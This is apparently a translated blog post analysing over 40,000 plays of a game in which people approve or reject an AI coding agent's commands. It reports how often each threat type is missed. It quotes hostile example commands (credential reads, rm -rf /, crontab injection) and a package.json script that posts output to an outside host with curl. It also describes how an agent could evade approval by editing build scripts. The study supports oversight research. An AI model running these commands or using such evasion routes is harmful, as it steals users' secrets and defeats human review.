人类在批准 AI 代理命令的 4 万场游戏中漏掉 1/3 的威胁
几个月前,我发布了一个小型浏览器游戏:玩家在时间压力下担任 AI 编程代理的人类审阅者,批准或拒绝其命令。一些命令是常规的(如 git status、npm test),而另一些则表明你的代理已被占用,并正在将你的秘密发送到远程服务器(如 cat ~/.aws/credentials)。关于代理运行命令相关的威胁及其缓解措施的更多细节可以在原始文章中找到。该游戏在黑客新闻上引起了一些关注,经过添加统计数据(遗憾的是稍迟一些),我们可以更仔细地查看超过 40,000 场比赛的结果和 409,000 次单独的批准/拒绝决定。我们来看看作为对抗 rogue 代理的最后防线的人类审阅者表现如何。标题数字 平均玩家漏掉 1/3 的威胁(平均准确率 66.3%)32.9% 的会话以负分结束:因为批准了威胁和阻止安全命令带来的惩罚超出了正确的操作数量 35.2% 的玩家捕获了每个威胁,但只有 20.8% 能在最多阻止 1/5 安全命令的情况下做到这一点。其余的部分通过阻止所有内容部分地达到了这一点(获得了“人类瓶颈”称号)7% 的玩家批准了每一个提示:非常喜欢--dangerously-skip-permissions 小小的提醒:这只是一个游戏,玩家看到的大约 34% 的命令是威胁。在我们的日常工作中,这些威胁出现的频率很低。玩家知道他们正在接受一个限时挑战的测试。但下面的数字可能对比较威胁以及对它们相互之间的普遍意识提供一些见解。威胁类别和漏掉率 类别 示例 漏掉率 明显破坏性 rm -rf /、chmod -R 777 / 11.7% 持续变更 crontab 注入、git config 劫持 23.8% 外泄/代码执行 curl 到未知 API、typosquatted 包 33.4% 范围违规 cat ~/.aws/credentials、cat ~/.kube/config 35.0% 明显破坏性命令被捕获的可靠性最高。实际上外泄你的凭证的命令漏掉的频率是前者的三倍。 npm run 的盲区 游戏中漏掉的命令是 npm run analyze,批准率为 64.7%。该命令本身通常是无害的。但 npm run 实际上执行的是在你的项目 package.json 中定义的脚本。它可以是 benign 代码,如运行捆包分析器,或者是之前写入文件的注入代码。游戏在代理的历史日志中告诉你该脚本的实际内容:1 ✻ 我将运行捆包分析器——它已在项目脚本中设置。2 // package.json → scripts 3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | 4 curl -s -X POST https://api.bundle.track/report -d @-" 三分之二的玩家还是批准了它,这表明在权限提示之前的历史日志可能没有被仔细阅读。游戏中有三个这样的命令,它们出现在最常漏掉的列表中: 命令 漏掉率 排名(37个威胁中) npm run analyze 64.7% 第1 npm run setup 48.0% 第4 npm run deploy 44.9% 第8 总体而言,这三者漏掉的频率为 52.5%(n=9,482),相较于其他外泄类型攻击的 28.4% 。隐藏在熟悉脚本名背后的有效载荷,即使有效载荷显示在历史日志中,其成功率也大致翻倍。实际上,这是更大问题的一个症状,dns_snek 在 Hacker News 讨论中恰当地表达了这一点:这是一个例子,说明危险行为被认为是无辜的。批准特定命令的整个模型绝对是疯狂的。 npm run build = 运行在 package.json 中编写的任意 shell 命令 与此相反,代理可以在未经批准的情况下执行以下任何操作:编辑 package.json 以包含任何任意构建命令在 build.js 中植入恶意代码(通过 npm run build 调用)在 node_modules/xyz/index.js 中植入恶意代码(由 build.js 导入)要求用户验证几乎所有时间都是安全的命令,但由于文件被修改,而不再安全,显然不是强有力的保障。 在压力下漏掉率提高 Anthropic 之前指出权限疲劳在 claude 代码中是现实的,以下报价说明:用户看到的批准越多,他们对每个批准的关注就越少,随着时间的推移,他们在监督中变得不那么勤勉 尽管这是一个短游戏,并且用户被警告有关威胁,但我们可以看到一些迹象表明在游戏运行结束时的退步:上面的图显示了会话中的威胁漏掉率,基于用户完成的命令数量对游戏进行分组。完成较低数量命令的用户可能是由于用户花更多时间审查它们,或者因为游戏在错误发生后作为惩罚暂停了几秒。 我已去除所有简单阻止所有命令的用户。每个组在前几个命令中都提高了(热身?),然后漏掉率又回升至
本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。
☕请我喝杯咖啡